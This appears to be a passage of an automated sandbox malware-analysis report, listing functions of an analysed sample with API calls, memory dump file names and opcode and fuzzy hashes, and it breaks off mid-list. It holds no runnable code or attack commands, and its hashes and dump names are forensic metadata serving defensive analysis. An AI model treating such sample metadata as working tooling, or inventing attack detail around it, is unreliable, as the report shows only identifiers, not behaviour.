Function 00AF87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00AFDA1D,?,?,?,?), ref: 00AF87B9

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 479e10ee649b87faf1f94268051ce68043485c70acd412131a402ac149d54f3e
Instruction ID: 4256ca78d8ff0cb1e8890e543bedebebe87ac26c5e7be1e2d664fdd04df8dac5
Opcode Fuzzy Hash: 479e10ee649b87faf1f94268051ce68043485c70acd412131a402ac149d54f3e
Instruction Fuzzy Hash: E4C08C2811160419FD1C26B82096BB833458A477A83F81BC4F2B04B1E1CA3D68079220

Function 00AF87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00AFDA1D,?,?,?,?), ref: 00AF87B9

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 68eeeb32d9a81c00ff1c7cc5684ab2a381551bec01fef8cbb075e5cf571a046d
Instruction ID: 0c9e60e878826fe4717f74dac28c4b4ab4e2f8fd80940d5fe7827580eb12d48a
Opcode Fuzzy Hash: 68eeeb32d9a81c00ff1c7cc5684ab2a381551bec01fef8cbb075e5cf571a046d
Instruction Fuzzy Hash: C7C08C381112045AFA1C6BB86095B3832059A037283F40B88F2B14B1E1CB3AD803C6A0

Function 00AFB1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00AFB3C8

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 4c142528f8c3da3e17c20312fb924d8a0a21a1076a39d41fdabeb338953dfce4
Instruction ID: b80c3b6774c29fdb7b8ad16026fb1c47d3548a6d789048c089abf1a84fdbf355
Opcode Fuzzy Hash: 4c142528f8c3da3e17c20312fb924d8a0a21a1076a39d41fdabeb338953dfce4
Instruction Fuzzy Hash: C7B11570A10268DFEB29CF14CD94BDEBBB5EF15304F5085D8E509A7281D775AA88CFA0

Function 04D70C09 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c5b64b49756c51867a5423fab8a09b3cb07e1cf1fe815bb0e9fc927cd5c5f1f
Instruction ID: 4be520c45d949227650e38731a532d8305bb81d92f607518b510c145689daeb3
Opcode Fuzzy Hash: 6c5b64b49756c51867a5423fab8a09b3cb07e1cf1fe815bb0e9fc927cd5c5f1f
Instruction Fuzzy Hash: E2218CA724E340AED30386609A549F57F6DF9C7230335845BF0C2CB093F256A946A672

Function 04D70BDF Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63c26bdae7262f48a7d0c96bff5a7b2fdaca68c8a58ae0865097722ac45567e7
Instruction ID: 43f5d5b7694d9cd9808d9a57f506ca9fe6d73a682e454f620076a33cbe13f163
Opcode Fuzzy Hash: 63c26bdae7262f48a7d0c96bff5a7b2fdaca68c8a58ae0865097722ac45567e7
Instruction Fuzzy Hash: 462105A738E214BEA14396426F10AF67F6EE5D73303318427F087C65C2F695AA493131

Function 04D70C86 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5e8f91f10f7051efbcf72405e31366327367a2fc00791b0a720c091b8e31709
Instruction ID: 593926d3a4b60d83fe1f5af82f9fc0098dabb6f7accf3f2ee5cbfa0f3f647a5e
Opcode Fuzzy Hash: a5e8f91f10f7051efbcf72405e31366327367a2fc00791b0a720c091b8e31709
Instruction Fuzzy Hash: F41189AB24E210AE6603D951AA50AF63F6DF6C7330331C457F082C6096F291EA4675B1

Function 04D70C6D Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a350baf7acafe90f95b2f037c05f2a1e7b576541c23ae13f28be7a03c5da02a
Instruction ID: 3454394e98e4d504ca3ca9af8e7b646990b2870e8d3b41f70e408ce29ac736e8
Opcode Fuzzy Hash: 2a350baf7acafe90f95b2f037c05f2a1e7b576541c23ae13f28be7a03c5da02a
Instruction Fuzzy Hash: E311C6B728E310BEA20399416F10AF67B6DF6D73317318426F586C6482F2D1A6497571

Function 04D70CB3 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd06187d91dcba50ff3266c2134444f2b68afda07e010c69e461d06435c35a74
Instruction ID: a1db6c269bbc4475460e6b7588b015d71e685744241f864d4a6f12b6ad72576c
Opcode Fuzzy Hash: bd06187d91dcba50ff3266c2134444f2b68afda07e010c69e461d06435c35a74
Instruction Fuzzy Hash: 0601F2FB34E211BEA20396516F20AF67F6DF5C7731331C466F482C2482F286AA4A7531

Function 04D70CE9 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1f2aa972d87ddd18f2481451dd7390ad5239ca422d0aa7ab06ccf342bc6aef0
Instruction ID: ac973bc2d3670b921f18e5b75ad59eb9d7e4697d96d1449b5a055a4e0b65fd6b
Opcode Fuzzy Hash: a1f2aa972d87ddd18f2481451dd7390ad5239ca422d0aa7ab06ccf342bc6aef0
Instruction Fuzzy Hash: EBF0B4A724D3109EA24396526B106B67B69E5C3331771C467F086C2886F69176497831

Function 04D70D05 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2077387272.0000000004D70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4b29f35c85735d9ed58df28814f91cf79f7d2545c96c37320c3e5e63320fd02
Instruction ID: 874fea530de48f7ddedb259dc4128c14d380845eb0b765f60d7248125fd0b10a
Opcode Fuzzy Hash: f4b29f35c85735d9ed58df28814f91cf79f7d2545c96c37320c3e5e63320fd02
Instruction Fuzzy Hash: 26F0E9B724D310DFE2079A51A5506BABBA9EA83231335C46BF086C64C6E6506549A631

Non-executed Functions

Function 00B331A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00B33323

Strings

1#IND, xrefs: 00B344B3
1#QNAN, xrefs: 00B344C1
1#INF, xrefs: 00B344DE
1#SNAN, xrefs: 00B344BA

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072073515.0000000000B66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072091547.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072251700.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072268276.0000000000CC8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072288373.0000000000CD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072417572.0000000000CD7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072631592.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072695119.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072712471.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072730522.0000000000CF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072745182.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072766723.0000000000CF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072783401.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072804573.0000000000D13000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072910170.0000000000D14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073007168.0000000000D1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073129660.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073289626.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073386569.0000000000D40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073570716.0000000000D48000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073678978.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073777948.0000000000D53000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073917121.0000000000D58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074042059.0000000000D60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074408252.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074648473.0000000000D6E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074706479.0000000000D75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074724042.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074739148.0000000000D80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074754790.0000000000D8C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074772255.0000000000D8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074789670.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000D9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074806895.0000000000DBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074849488.0000000000DE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074867573.0000000000DE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074883950.0000000000DEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074904498.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074922208.0000000000DF0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074941798.0000000000DFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074960325.0000000000DFF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
Instruction ID: 67bc127ba519318ec942f1eb066ba02febaef56dace69aa6f3cf57334365323d
Opcode Fuzzy Hash: 359212a5cc7fff81e2933688c0ffaa359665bd297c7a9de0a8172f57ce1ec8eb
Instruction Fuzzy Hash: 14C22B71E086288FDB65CE28DD807EAB7F5EB48705F2441EAD84DE7240E775AE858F40

Function 00AFE0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 00AFE10B
recv.WS2_32(?,?,00000008,00000000), ref: 00AFE140

Memory Dump Source

Source File: 00000000.00000002.2071967842.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2071954133.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071967842.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072024234.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072039367.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072054404.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
